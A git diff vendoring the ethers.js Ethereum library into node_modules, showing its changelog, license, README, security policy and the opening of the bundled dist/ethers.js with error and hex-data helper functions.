+ethers/v6.2.1 (2023-03-23 17:33) +-------------------------------- + + - Stall block polling bootstrap when the network is down ([#3924](https://github.com/ethers-io/ethers.js/issues/3924); [603d474](https://github.com/ethers-io/ethers.js/commit/603d47496e2b667c15b72f315261d6e299381848)). + +ethers/v6.2.0 (2023-03-20 15:53) +-------------------------------- + + - Added extra details in the error info field for RPC errors ([30ffa78](https://github.com/ethers-io/ethers.js/commit/30ffa78d1441fa033677fa09237fc135a314f373)). + - Remove Ankr as a default for now as the provided API key is failing ([6e01e54](https://github.com/ethers-io/ethers.js/commit/6e01e5448f4a3e2d30288d4c8447db295c3a2e7a)). + - Fixed deferred filters after unsafe-eval changes ([#3749](https://github.com/ethers-io/ethers.js/issues/3749), [#3763](https://github.com/ethers-io/ethers.js/issues/3763); [2e3802a](https://github.com/ethers-io/ethers.js/commit/2e3802a83b8ad2f5a6269d79fbd1c83c9f2d1047)). + - Remove use of Function sub-class to address unsafe-eval issues ([#3749](https://github.com/ethers-io/ethers.js/issues/3749), [#3763](https://github.com/ethers-io/ethers.js/issues/3763); [7d3af51](https://github.com/ethers-io/ethers.js/commit/7d3af512c75b4c24027ec2daef1e9f4c1064194a)). + - Added verifyTypedData utility (reported on Farcaster) ([f06a445](https://github.com/ethers-io/ethers.js/commit/f06a445247f3b294f9fc805cc8fe0752accb8edc)). + - Removed stray logging in IpcProvider ([#3908](https://github.com/ethers-io/ethers.js/issues/3908), [#3909](https://github.com/ethers-io/ethers.js/issues/3909); [e11d4c1](https://github.com/ethers-io/ethers.js/commit/e11d4c1c20cc5b6fd5803cf9636c4f5bc082dab7)). + - Fixed legacy serialization for implicit chainId transactions ([#3898](https://github.com/ethers-io/ethers.js/issues/3898), [#3899](https://github.com/ethers-io/ethers.js/issues/3899); [fcf6c8f](https://github.com/ethers-io/ethers.js/commit/fcf6c8fcee95ec412aaafba8ec84d5049b077a4e)). + - Fix Webpack issue (reported on discord) ([3ad4273](https://github.com/ethers-io/ethers.js/commit/3ad4273b8b714bff344ccbfb1eb71ed8a8b7cfa4)). + - Fix some bundlers which cannot handle recursive pkg.exports ([#3848](https://github.com/ethers-io/ethers.js/issues/3848); [6315e78](https://github.com/ethers-io/ethers.js/commit/6315e78ea32147653b72ca06f6800f3e2df6ffbf)). + - Fixed typo in signature.s error ([#3891](https://github.com/ethers-io/ethers.js/issues/3891); [47ef3eb](https://github.com/ethers-io/ethers.js/commit/47ef3ebde37bfa0c015c258c3d8a6800d751e147)). + - Fixed stray unreachable code ([#3890](https://github.com/ethers-io/ethers.js/issues/3890); [c220fe2](https://github.com/ethers-io/ethers.js/commit/c220fe2ea747ccc80cd3c4020e0278e3daf3c4fc)). + - Move all wrapping to proper _wrap functions ([#3818](https://github.com/ethers-io/ethers.js/issues/3818); [02a0aad](https://github.com/ethers-io/ethers.js/commit/02a0aad61212c35e8d2723a8ae589989b97dae3e)). + +ethers/v6.1.0 (2023-03-07 02:10) +-------------------------------- + + - Fixed ethers imported in web workers ([#3856](https://github.com/ethers-io/ethers.js/issues/3856); [5f2678f](https://github.com/ethers-io/ethers.js/commit/5f2678fb059d643638b9cc1dc59cbfc61ce7a7b8)). + - Added Sepolia support ([#3863](https://github.com/ethers-io/ethers.js/issues/3863); [abeaa74](https://github.com/ethers-io/ethers.js/commit/abeaa74da04fbe25e837a2ffa7d1e9c1257a5da5)). + - Added missing exports ([#3734](https://github.com/ethers-io/ethers.js/issues/3734); [06aa303](https://github.com/ethers-io/ethers.js/commit/06aa30363f88144db672376d39012d7fe3f86c33)). + - Allow null values for TypedData domain ([#3623](https://github.com/ethers-io/ethers.js/issues/3623); [a32af3a](https://github.com/ethers-io/ethers.js/commit/a32af3adc104c4b07a45097a4a3725a4ce9e0be6)). + - Added listAccounts to JsonRpcProvider ([#3778](https://github.com/ethers-io/ethers.js/issues/3778); [287d94f](https://github.com/ethers-io/ethers.js/commit/287d94fc454d03f1b3086ea98745131cdf40129a)). + - Allow BigInt for blockTag ([#3780](https://github.com/ethers-io/ethers.js/issues/3780); [fe1f04c](https://github.com/ethers-io/ethers.js/commit/fe1f04c6e5fb4254a100f492d7dcbdc3cf19a446)). + - Fixed typo in error messages ([#3822](https://github.com/ethers-io/ethers.js/issues/3822), [#3824](https://github.com/ethers-io/ethers.js/issues/3824); [f1a810d](https://github.com/ethers-io/ethers.js/commit/f1a810dcb56df54b1e1567f2a59c73500619472f)). + - Re-adding definition files to require exports ([#3703](https://github.com/ethers-io/ethers.js/issues/3703); [76fab92](https://github.com/ethers-io/ethers.js/commit/76fab923da33e71e6bb751bb0b5e3ba3faa27ab2)). + +ethers/v6.0.8 (2023-02-23 06:30) +-------------------------------- + + - Fix matic-mumbai network and include aliases to legacy names ([#3811](https://github.com/ethers-io/ethers.js/issues/3811); [20bbd12](https://github.com/ethers-io/ethers.js/commit/20bbd1281911d31b360f6f5032251c9257943541)). + - Fixed getSigner bug ([#3821](https://github.com/ethers-io/ethers.js/issues/3821); [388edf6](https://github.com/ethers-io/ethers.js/commit/388edf6abc168f89f1ca609e9e5b025dc9205add)). + +ethers/v6.0.7 (2023-02-23 01:41) +-------------------------------- + + - Fixed getContentHash ([#3819](https://github.com/ethers-io/ethers.js/issues/3819); [b993f7c](https://github.com/ethers-io/ethers.js/commit/b993f7c3b6c0e135c460c8b8dc5943215628231a)). + +ethers/v6.0.6 (2023-02-22 21:53) +-------------------------------- + + - Added chain parameters for Arbitrum and Optimism ([#3811](https://github.com/ethers-io/ethers.js/issues/3811); [77a7323](https://github.com/ethers-io/ethers.js/commit/77a7323119923e596f4def4f1bc90beae5447320)). + - Fix NonceManager race condition ([#3812](https://github.com/ethers-io/ethers.js/issues/3812), [#3813](https://github.com/ethers-io/ethers.js/issues/3813); [5a3c10a](https://github.com/ethers-io/ethers.js/commit/5a3c10a29c047609a50828adb620d88aa8cf0014)). + - Add UMD output to dist builds ([#3814](https://github.com/ethers-io/ethers.js/issues/3814); [f9eed4c](https://github.com/ethers-io/ethers.js/commit/f9eed4cdb190b06dd4ddaa2382c1de42e8e98de6)). + +ethers/v6.0.5 (2023-02-18 22:36) +-------------------------------- + + - Fixed Result to behave correctly like an array using slice and toArray ([#3787](https://github.com/ethers-io/ethers.js/issues/3787); [399356b](https://github.com/ethers-io/ethers.js/commit/399356b91227db04e496628af60c4b8e38207760)). + - Replaced substring from 0 index with startsWith ([#3691](https://github.com/ethers-io/ethers.js/issues/3691); [4512e97](https://github.com/ethers-io/ethers.js/commit/4512e97f9b55607ce388aa6eb63a37fc196a5d9d)). + - Fixed inverted assert in duplicate name detection for ABI encoding ([#3792](https://github.com/ethers-io/ethers.js/issues/3792); [762c2f3](https://github.com/ethers-io/ethers.js/commit/762c2f34eac848c5464389f11d1697dcd8ebcbb5)). + - Fixed missing property during transaction copy ([#3793](https://github.com/ethers-io/ethers.js/issues/3793); [48bbef7](https://github.com/ethers-io/ethers.js/commit/48bbef7ade69bcfe86542f752f15049cc62f4141)). + - Add support for Wallet private keys without 0x prefix ([#3768](https://github.com/ethers-io/ethers.js/issues/3768); [4665fb4](https://github.com/ethers-io/ethers.js/commit/4665fb4c6886c8b344dee316ba9f4fde57ce7557)). + - Fixed quicknode property for defaultProvider ([#3741](https://github.com/ethers-io/ethers.js/issues/3741); [a8afb72](https://github.com/ethers-io/ethers.js/commit/a8afb72fbbceb6a5024c1edb85badb72099787ea)). + - Fixed exports field order ([#3703](https://github.com/ethers-io/ethers.js/issues/3703), [#3755](https://github.com/ethers-io/ethers.js/issues/3755); [085a905](https://github.com/ethers-io/ethers.js/commit/085a9054f349afb816ca1a123737293ec9bd2532)). + +ethers/v6.0.4 (2023-02-16 08:55) +-------------------------------- + + - Fixed custom error decoding ([#3785](https://github.com/ethers-io/ethers.js/issues/3785); [4d9b29d](https://github.com/ethers-io/ethers.js/commit/4d9b29de751e2387c143e474bb96d271da892ea6)). + - Removed stray debug logging ([e1e0929](https://github.com/ethers-io/ethers.js/commit/e1e09293483a9d07fd8e8f96552aa958b5ec45ed)). + - Fixed lookupAddress when bad resolver is present ([#3782](https://github.com/ethers-io/ethers.js/issues/3782); [92def9c](https://github.com/ethers-io/ethers.js/commit/92def9c1489bb35ad13fe58a1cd107ee3a05a112)). + - Fixed FallbackProvider median calculation ([#3746](https://github.com/ethers-io/ethers.js/issues/3746); [83957dc](https://github.com/ethers-io/ethers.js/commit/83957dc283043b9af8f6e89920faac3e09ca69fc)). + - Move the xnf normalize variant to pkg.browser instead of import ([#3724](https://github.com/ethers-io/ethers.js/issues/3724); [179e6ca](https://github.com/ethers-io/ethers.js/commit/179e6ca520392177c7dea5e477b29930952ed637)). + +ethers/v6.0.3 (2023-02-12 22:45) +-------------------------------- + + - Allow null type in transaction receipt for legacy type 0 networks ([#3459](https://github.com/ethers-io/ethers.js/issues/3459); [6372a46](https://github.com/ethers-io/ethers.js/commit/6372a46b1b273db3e4c1189daebb4b888bd588bc)). + - Fixed events when slicing immutable Result ([#3765](https://github.com/ethers-io/ethers.js/issues/3765); [2ba4a17](https://github.com/ethers-io/ethers.js/commit/2ba4a172555b7e17ac01fedfc944549defab61bc)). + - More robust support on networks which throw when filters are not supported ([#3767](https://github.com/ethers-io/ethers.js/issues/3767); [37bf4fb](https://github.com/ethers-io/ethers.js/commit/37bf4fb55563d7ff66edee15c7515c8a0d6a2266)). + - Fixed ignored polling override for JsonRpcApiProvider ([400d576](https://github.com/ethers-io/ethers.js/commit/400d57621b3e9a33679a528b5072449699f0a068)). + +ethers/v6.0.2 (2023-02-04 08:50) +-------------------------------- + + - Fixed crossed assert in Fetch ([#3733](https://github.com/ethers-io/ethers.js/issues/3733); [6c338c1](https://github.com/ethers-io/ethers.js/commit/6c338c1c5b4013db9754c9d1a33dcbf54330e5c7)). + +ethers/v6.0.1 (2023-02-04 04:06) +-------------------------------- + + - Fix Subscriber model when removed within emit callback ([d0ed918](https://github.com/ethers-io/ethers.js/commit/d0ed91840c9f51c7ce9061ebb1d36727dbdd51a4)). + - Fixed human-readable parser when identifier begins with valid type prefix ([#3728](https://github.com/ethers-io/ethers.js/issues/3728); [522fd16](https://github.com/ethers-io/ethers.js/commit/522fd16f68aabc53e4dc8745d4128e0d61260ed5)). + - Update to latest secp256k1 library ([#3719](https://github.com/ethers-io/ethers.js/issues/3719); [803e8f9](https://github.com/ethers-io/ethers.js/commit/803e8f9821950b83efa876d64b1cfb35f6bccc38)). + +ethers/v6.0.0 (2023-02-02 22:48) +-------------------------------- + + - Initial release ([90afd9b](https://github.com/ethers-io/ethers.js/commit/90afd9bd81ed1408421a0247fa0845a74c9eb319)). diff --git a/node_modules/ethers/FUNDING.json b/node_modules/ethers/FUNDING.json new file mode 100644 index 000000000000..37ab376814d8 --- /dev/null +++ b/node_modules/ethers/FUNDING.json @@ -0,0 +1,10 @@ +{ + "drips": { + "ethereum": { + "ownedBy": "0x89EdE5cBE53473A64d6C8DF14176a0d658dAAeDC" + } + }, + "opRetro": { + "projectId": "0xa3d07f453f70d844196d89d79848aa2e70a0bd8b38bf0f493cba1547bb3bca5e" + } +} diff --git a/node_modules/ethers/LICENSE.md b/node_modules/ethers/LICENSE.md new file mode 100644 index 000000000000..12fe15fbb73c --- /dev/null +++ b/node_modules/ethers/LICENSE.md @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2016-2025 Richard Moore + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/node_modules/ethers/README.md b/node_modules/ethers/README.md new file mode 100644 index 000000000000..5db1fbf94707 --- /dev/null +++ b/node_modules/ethers/README.md @@ -0,0 +1,140 @@ +The Ethers Project +================== + +[![npm (tag)](https://img.shields.io/npm/v/ethers)](https://www.npmjs.com/package/ethers) +[![CI Tests](https://github.com/ethers-io/ethers.js/actions/workflows/test-ci.yml/badge.svg?branch=main)](https://github.com/ethers-io/ethers.js/actions/workflows/test-ci.yml) +![npm bundle size (version)](https://img.shields.io/bundlephobia/minzip/ethers) +![npm (downloads)](https://img.shields.io/npm/dm/ethers) +[![GitPOAP Badge](https://public-api.gitpoap.io/v1/repo/ethers-io/ethers.js/badge)](https://www.gitpoap.io/gh/ethers-io/ethers.js) +[![Twitter Follow](https://img.shields.io/twitter/follow/ricmoo?style=social)](https://twitter.com/ricmoo) + +----- + +A complete, compact and simple library for Ethereum and ilk, written +in [TypeScript](https://www.typescriptlang.org). + +**Features** + +- Keep your private keys in your client, **safe** and sound +- Import and export **JSON wallets** (Geth, Parity and crowdsale) +- Import and export BIP 39 **mnemonic phrases** (12 word backup phrases) and **HD Wallets** (English as well as Czech, French, Italian, Japanese, Korean, Simplified Chinese, Spanish, Traditional Chinese) +- Meta-classes create JavaScript objects from any contract ABI, including **ABIv2** and **Human-Readable ABI** +- Connect to Ethereum nodes over [JSON-RPC](https://github.com/ethereum/wiki/wiki/JSON-RPC), [INFURA](https://infura.io), [Etherscan](https://etherscan.io), [Alchemy](https://alchemyapi.io), [Ankr](https://ankr.com) or [MetaMask](https://metamask.io) +- **ENS names** are first-class citizens; they can be used anywhere an Ethereum addresses can be used +- **Small** (~144kb compressed; 460kb uncompressed) +- **Tree-shaking** focused; include only what you need during bundling +- **Complete** functionality for all your Ethereum desires +- Extensive [documentation](https://docs.ethers.org/v6/) +- Large collection of **test cases** which are maintained and added to +- Fully written in **TypeScript**, with strict types for security and safety +- **MIT License** (including ALL dependencies); completely open source to do with as you please + + +Keep Updated +------------ + +For advisories and important notices, follow [@ethersproject](https://twitter.com/ethersproject) +on Twitter (low-traffic, non-marketing, important information only) as well as watch this GitHub project. + +For more general news, discussions, and feedback, follow or DM me, +[@ricmoo](https://twitter.com/ricmoo) on Twitter or on the +[Ethers Discord](https://discord.gg/qYtSscGYYc). + + +For the latest changes, see the +[CHANGELOG](https://github.com/ethers-io/ethers.js/blob/main/CHANGELOG.md). + + +**Summaries** + +- [August 2023](https://blog.ricmoo.com/highlights-ethers-js-august-2023-fb68354c576c) +- [September 2022](https://blog.ricmoo.com/highlights-ethers-js-september-2022-d7bda0fc37ed) +- [June 2022](https://blog.ricmoo.com/highlights-ethers-js-june-2022-f5328932e35d) +- [March 2022](https://blog.ricmoo.com/highlights-ethers-js-march-2022-f511fe1e88a1) +- [December 2021](https://blog.ricmoo.com/highlights-ethers-js-december-2021-dc1adb779d1a) +- [September 2021](https://blog.ricmoo.com/highlights-ethers-js-september-2021-1bf7cb47d348) +- [May 2021](https://blog.ricmoo.com/highlights-ethers-js-may-2021-2826e858277d) +- [March 2021](https://blog.ricmoo.com/highlights-ethers-js-march-2021-173d3a545b8d) +- [December 2020](https://blog.ricmoo.com/highlights-ethers-js-december-2020-2e2db8bc800a) + + + +Installing +---------- + +**NodeJS** + +``` +/home/ricmoo/some_project> npm install ethers +``` + +**Browser (ESM)** + +The bundled library is available in the `./dist/` folder in this repo. + +``` + +``` + + +Documentation +------------- + +Browse the [documentation](https://docs.ethers.org) online: + +- [Getting Started](https://docs.ethers.org/v6/getting-started/) +- [Full API Documentation](https://docs.ethers.org/v6/api/) +- [Various Ethereum Articles](https://blog.ricmoo.com/) + + + +Providers +--------- + +Ethers works closely with an ever-growing list of third-party providers +to ensure getting started is quick and easy, by providing default keys +to each service. + +These built-in keys mean you can use `ethers.getDefaultProvider()` and +start developing right away. + +However, the API keys provided to ethers are also shared and are +intentionally throttled to encourage developers to eventually get +their own keys, which unlock many other features, such as faster +responses, more capacity, analytics and other features like archival +data. + +When you are ready to sign up and start using for your own keys, please +check out the [Provider API Keys](https://docs.ethers.org/v5/api-keys/) in +the documentation. + +A special thanks to these services for providing community resources: + +- [Ankr](https://www.ankr.com/) +- [QuickNode](https://www.quicknode.com/) +- [Etherscan](https://etherscan.io/) +- [INFURA](https://infura.io/) +- [Alchemy](https://dashboard.alchemyapi.io/signup?referral=55a35117-028e-4b7c-9e47-e275ad0acc6d) + + +Extension Packages +------------------ + +The `ethers` package only includes the most common and most core +functionality to interact with Ethereum. There are many other +packages designed to further enhance the functionality and experience. + +- [MulticallProvider](https://github.com/ethers-io/ext-provider-multicall) - A Provider which bundles multiple call requests into a single `call` to reduce latency and backend request capacity +- [MulticoinPlugin](https://github.com/ethers-io/ext-provider-plugin-multicoin) - A Provider plugin to expand the support of ENS coin types +- [GanaceProvider](https://github.com/ethers-io/ext-provider-ganache) - A Provider for in-memory node instances, for fast debugging, testing and simulating blockchain operations +- [Optimism Utilities](https://github.com/ethers-io/ext-utils-optimism) - A collection of Optimism utilities +- [LedgerSigner](https://github.com/ethers-io/ext-signer-ledger) - A Signer to interact directly with Ledger Hardware Wallets + + +License +------- + +MIT License (including **all** dependencies). + diff --git a/node_modules/ethers/SECURITY.md b/node_modules/ethers/SECURITY.md new file mode 100644 index 000000000000..7048829dc70a --- /dev/null +++ b/node_modules/ethers/SECURITY.md @@ -0,0 +1,34 @@ +# Security Policy + +## Supported Versions + +Maintaining multiple versions of the library is quite time consuming, so +the majority of the effort is focused on the latest major release. + +If you do require a version outside of this chart updated with patch fix, +please [contact me](mailto:github@ricmoo.com). + +| Version | Supported | Initial Release | +| ------- | ------------------------------------------ | ----------------- | +| 6.0.x | :white_check_mark: | 2023-02-02 | +| 5.0.x | :white_check_mark: (security updates) | 2020-06-12 | +| 4.0.x | :x: | 2018-10-01 | +| 3.0.x | :x: | 2018-03-05 | +| 2.2.x | :x: | 2018-01-11 | +| 2.1.x | :x: | 2017-05-22 | +| 2.0.x | :x: | 2017-04-05 | +| 1.0.x | :x: | 2016-08-23 | +| 0.0.x | :x: | 2016-07-14 | + + +## Reporting a Vulnerability + +If you identify a security vulnerability with this library (or any dependency), +please do not hesitate to contact [github@ricmoo.com](mailto:github@ricmoo.com) +immediately. + +I try to respond within the same day and will address any concern as quickly +as possible (including code fixes and publishing to NPM). + +Any vulnerability will also be published to this file, along with credits, +pertinent information and links to fixes. diff --git a/node_modules/ethers/dist/README.md b/node_modules/ethers/dist/README.md new file mode 100644 index 000000000000..78b13a88d94c --- /dev/null +++ b/node_modules/ethers/dist/README.md @@ -0,0 +1,22 @@ +Distribution Folder +=================== + +The contents of this folder are for using `import` in ESM +browser-base projects. + +The `ethers.js` (and `ethers.min.js`) files only include the +English wordlist to conserve space. + +For additional Wordlist support, the `wordlist-extra.js` (and +`wordlist-extra.min.js`) should be imported too. + + +Notes +----- + +The contents are generated via the `npm build dist` target using +`rollup` and the `/rollup.config.js` configuration. + +Do not modify the files in this folder. They are deleted on `build-clean`. + +To modify this `README.md`, see the `/output/post-build/dist`. diff --git a/node_modules/ethers/dist/ethers.js b/node_modules/ethers/dist/ethers.js new file mode 100644 index 000000000000..977d2ffd22a8 --- /dev/null +++ b/node_modules/ethers/dist/ethers.js @@ -0,0 +1,26294 @@ +const __$G = (typeof globalThis !== 'undefined' ? globalThis: typeof window !== 'undefined' ? window: typeof global !== 'undefined' ? global: typeof self !== 'undefined' ? self: {}); +/* Do NOT modify this file; see /src.ts/_admin/update-version.ts */ +/** + * The current version of Ethers. + */ +const version = "6.15.0"; + +/** + * Property helper functions. + * + * @_subsection api/utils:Properties [about-properties] + */ +function checkType(value, type, name) { + const types = type.split("|").map(t => t.trim()); + for (let i = 0; i < types.length; i++) { + switch (type) { + case "any": + return; + case "bigint": + case "boolean": + case "number": + case "string": + if (typeof (value) === type) { + return; + } + } + } + const error = new Error(`invalid value for type ${type}`); + error.code = "INVALID_ARGUMENT"; + error.argument = `value.${name}`; + error.value = value; + throw error; +} +/** + * Resolves to a new object that is a copy of %%value%%, but with all + * values resolved. + */ +async function resolveProperties(value) { + const keys = Object.keys(value); + const results = await Promise.all(keys.map((k) => Promise.resolve(value[k]))); + return results.reduce((accum, v, index) => { + accum[keys[index]] = v; + return accum; + }, {}); +} +/** + * Assigns the %%values%% to %%target%% as read-only values. + * + * It %%types%% is specified, the values are checked. + */ +function defineProperties(target, values, types) { + for (let key in values) { + let value = values[key]; + const type = (types ? types[key] : null); + if (type) { + checkType(value, type, key); + } + Object.defineProperty(target, key, { enumerable: true, value, writable: false }); + } +} + +/** + * All errors in ethers include properties to ensure they are both + * human-readable (i.e. ``.message``) and machine-readable (i.e. ``.code``). + * + * The [[isError]] function can be used to check the error ``code`` and + * provide a type guard for the properties present on that error interface. + * + * @_section: api/utils/errors:Errors [about-errors] + */ +function stringify$1(value, seen) { + if (value == null) { + return "null"; + } + if (seen == null) { + seen = new Set(); + } + if (typeof (value) === "object") { + if (seen.has(value)) { + return "[Circular]"; + } + seen.add(value); + } + if (Array.isArray(value)) { + return "[ " + (value.map((v) => stringify$1(v, seen))).join(", ") + " ]"; + } + if (value instanceof Uint8Array) { + const HEX = "0123456789abcdef"; + let result = "0x"; + for (let i = 0; i < value.length; i++) { + result += HEX[value[i] >> 4]; + result += HEX[value[i] & 0xf]; + } + return result; + } + if (typeof (value) === "object" && typeof (value.toJSON) === "function") { + return stringify$1(value.toJSON(), seen); + } + switch (typeof (value)) { + case "boolean": + case "number": + case "symbol": + return value.toString(); + case "bigint": + return BigInt(value).toString(); + case "string": + return JSON.stringify(value); + case "object": { + const keys = Object.keys(value); + keys.sort(); + return "{ " + keys.map((k) => `${stringify$1(k, seen)}: ${stringify$1(value[k], seen)}`).join(", ") + " }"; + } + } + return `[ COULD NOT SERIALIZE ]`; +} +/** + * Returns true if the %%error%% matches an error thrown by ethers + * that matches the error %%code%%. + * + * In TypeScript environments, this can be used to check that %%error%% + * matches an EthersError type, which means the expected properties will + * be set. + * + * @See [ErrorCodes](api:ErrorCode) + * @example + * try { + * // code.... + * } catch (e) { + * if (isError(e, "CALL_EXCEPTION")) { + * // The Type Guard has validated this object + * console.log(e.data); + * } + * } + */ +function isError(error, code) { + return (error && error.code === code); +} +/** + * Returns true if %%error%% is a [[CallExceptionError]. + */ +function isCallException(error) { + return isError(error, "CALL_EXCEPTION"); +} +/** + * Returns a new Error configured to the format ethers emits errors, with + * the %%message%%, [[api:ErrorCode]] %%code%% and additional properties + * for the corresponding EthersError. + * + * Each error in ethers includes the version of ethers, a + * machine-readable [[ErrorCode]], and depending on %%code%%, additional + * required properties. The error message will also include the %%message%%, + * ethers version, %%code%% and all additional properties, serialized. + */ +function makeError(message, code, info) { + let shortMessage = message; + { + const details = []; + if (info) { + if ("message" in info || "code" in info || "name" in info) { + throw new Error(`value will overwrite populated values: ${stringify$1(info)}`); + } + for (const key in info) { + if (key === "shortMessage") { + continue; + } + const value = (info[key]); + // try { + details.push(key + "=" + stringify$1(value)); + // } catch (error: any) { + // console.log("MMM", error.message); + // details.push(key + "=[could not serialize object]"); + // } + } + } + details.push(`code=${code}`); + details.push(`version=${version}`); + if (details.length) { + message += " (" + details.join(", ") + ")"; + } + } + let error; + switch (code) { + case "INVALID_ARGUMENT": + error = new TypeError(message); + break; + case "NUMERIC_FAULT": + case "BUFFER_OVERRUN": + error = new RangeError(message); + break; + default: + error = new Error(message); + } + defineProperties(error, { code }); + if (info) { + Object.assign(error, info); + } + if (error.shortMessage == null) { + defineProperties(error, { shortMessage }); + } + return error; +} +/** + * Throws an EthersError with %%message%%, %%code%% and additional error + * %%info%% when %%check%% is falsish.. + * + * @see [[api:makeError]] + */ +function assert(check, message, code, info) { + if (!check) { + throw makeError(message, code, info); + } +} +/** + * A simple helper to simply ensuring provided arguments match expected + * constraints, throwing if not. + * + * In TypeScript environments, the %%check%% has been asserted true, so + * any further code does not need additional compile-time checks. + */ +function assertArgument(check, message, name, value) { + assert(check, message, "INVALID_ARGUMENT", { argument: name, value: value }); +} +function assertArgumentCount(count, expectedCount, message) { + if (message == null) { + message = ""; + } + if (message) { + message = ": " + message; + } + assert(count >= expectedCount, "missing argument" + message, "MISSING_ARGUMENT", { + count: count, + expectedCount: expectedCount + }); + assert(count <= expectedCount, "too many arguments" + message, "UNEXPECTED_ARGUMENT", { + count: count, + expectedCount: expectedCount + }); +} +const _normalizeForms = ["NFD", "NFC", "NFKD", "NFKC"].reduce((accum, form) => { + try { + // General test for normalize + /* c8 ignore start */ + if ("test".normalize(form) !== "test") { + throw new Error("bad"); + } + ; + /* c8 ignore stop */ + if (form === "NFD") { + const check = String.fromCharCode(0xe9).normalize("NFD"); + const expected = String.fromCharCode(0x65, 0x0301); + /* c8 ignore start */ + if (check !== expected) { + throw new Error("broken"); + } + /* c8 ignore stop */ + } + accum.push(form); + } + catch (error) { } + return accum; +}, []); +/** + * Throws if the normalization %%form%% is not supported. + */ +function assertNormalize(form) { + assert(_normalizeForms.indexOf(form) >= 0, "platform missing String.prototype.normalize", "UNSUPPORTED_OPERATION", { + operation: "String.prototype.normalize", info: { form } + }); +} +/** + * Many classes use file-scoped values to guard the constructor, + * making it effectively private. This facilitates that pattern + * by ensuring the %%givenGaurd%% matches the file-scoped %%guard%%, + * throwing if not, indicating the %%className%% if provided. + */ +function assertPrivate(givenGuard, guard, className) { + if (className == null) { + className = ""; + } + if (givenGuard !== guard) { + let method = className, operation = "new"; + if (className) { + method += "."; + operation += " " + className; + } + assert(false, `private constructor; use ${method}from* methods`, "UNSUPPORTED_OPERATION", { + operation + }); + } +} + +/** + * Some data helpers. + * + * + * @_subsection api/utils:Data Helpers [about-data] + */ +function _getBytes(value, name, copy) { + if (value instanceof Uint8Array) { + if (copy) { + return new Uint8Array(value); + } + return value; + } + if (typeof (value) === "string" && value.match(/^0x(?:[0-9a-f][0-9a-f])*$/i)) { + const result = new Uint8Array((value.length - 2) / 2); + let offset = 2; + for (let i = 0; i < result.length; i++) { + result[i] = parseInt(value.substring(offset, offset + 2), 16); + offset += 2; + } + return result; + } + assertArgument(false, "invalid BytesLike value", name || "value", value); +} +/** + * Get a typed Uint8Array for %%value%%. If already a Uint8Array + * the original %%value%% is returned; if a copy is required use + * [[getBytesCopy]]. + * + * @see: getBytesCopy + */ +function getBytes(value, name) { + return _getBytes(value, name, false); +} +/** + * Get a typed Uint8Array for %%value%%, creating a copy if necessary + * to prevent any modifications of the returned value from being + * reflected elsewhere. + * + * @see: getBytes + */ +function getBytesCopy(value, name) { + return _getBytes(value, name, true); +} +/** + * Returns true if %%value%% is a valid [[HexString]]. + * + * If %%length%% is ``true`` or a //number//, it also checks that + * %%value%% is a valid [[DataHexString]] of %%length%% (if a //number//) + * bytes of data (e.g. ``0x1234`` is 2 bytes). + */ +function isHexString(value, length) { + if (typeof (value) !== "string" || !value.match(/^0x[0-9A-Fa-f]*$/)) { + return false; + } + if (typeof (length) === "number" && value.length !== 2 + 2 * length) { + return false; + } + if (length === true && (value.length % 2) !== 0) { + return false; + } + return true; +} +/** + * Returns true if %%value%% is a valid representation of arbitrary + * data (i.e. a valid [[DataHexString]] or a Uint8Array). + */ +function isBytesLike(value) { + return (isHexString(value, true) || (value instanceof Uint8Array)); +} +const HexCharacters = "0123456789abcdef"; +/** + * Returns a [[DataHexString]] representation of %%data%%. + */ +function hexlify(data) { + const bytes = getBytes(data); + let result = "0x"; + for (let i = 0; i < bytes.length; i++) { + const v = bytes[i]; + result += HexCharacters[(v & 0xf0) >> 4] + HexCharacters[v & 0x0f]; + } + return result; +} +/** + * Returns a [[DataHexString]] by concatenating all values + * within %%data%%. + */ +function concat(datas) { + return "0x" + datas.map((d) => hexlify(d).substring(2)).join(""); +} +/** + * Returns the length of %%data%%, in bytes. + */ +function dataLength(data) { + if (isHexString(data, true)) { + return (data.length - 2) / 2; + } + return getBytes(data).length; +} +/** + * Returns a [[DataHexString]] by slicing %%data%% from the %%start%% + * offset to the %%end%% offset. + * + * By default %%start%% is 0 and %%end%% is the length of %%data%%. + */ +function dataSlice(data, start, end) { + const bytes = getBytes(data); + if (end != null && end > bytes.length) { + assert(false, "cannot slice beyond data bounds", "BUFFER_OVERRUN", { + buffer: bytes, length: bytes.length, offset: end + }); + } + return hexlify(bytes.slice((start == null) ? 0 : start, (end == null) ? bytes.length : end)); +} +/** + * Return the [[DataHexString]] result by stripping all **leading** + ** zero bytes from %%data%%. + */ +function stripZerosLeft(data) { + let bytes = hexlify(data).substring(2); + while (bytes.startsWith("00")) { + bytes = bytes.substring(2); + } + return "0x" + bytes; +} +function zeroPad(data, length, left) { + const bytes = getBytes(data); + assert(length >= bytes.length, "padding exceeds data length", "BUFFER_OVERRUN", { + buffer: new Uint8Array(bytes), + length: length, + offset: length + 1 + }); + const result = new Uint8Array(length); + result.fill(0); + if (left) { + result.set(bytes, length - bytes.length); + } + else { + result.set(bytes, 0); + } + return hexlify(result); +} +/** + * Return the [[DataHexString]] of %%data%% padded on the **left** + * to %%length%% bytes. + * + * If %%data%% already exceeds %%length%%, a [[BufferOverrunError]] is + * thrown. + * + * This pads data the same as **values** are in Solidity + * (e.g. ``uint128``). + */ +function zeroPadValue(data, length) { + return zeroPad(data, length, true); +} +/** + * Return the [[DataHexString]] of %%data%% padded on the **right** + * to %%length%% bytes. + * + * If %%data%% already exceeds %%length%%, a [[BufferOverrunError]] is + * thrown. + * + * This pads data the 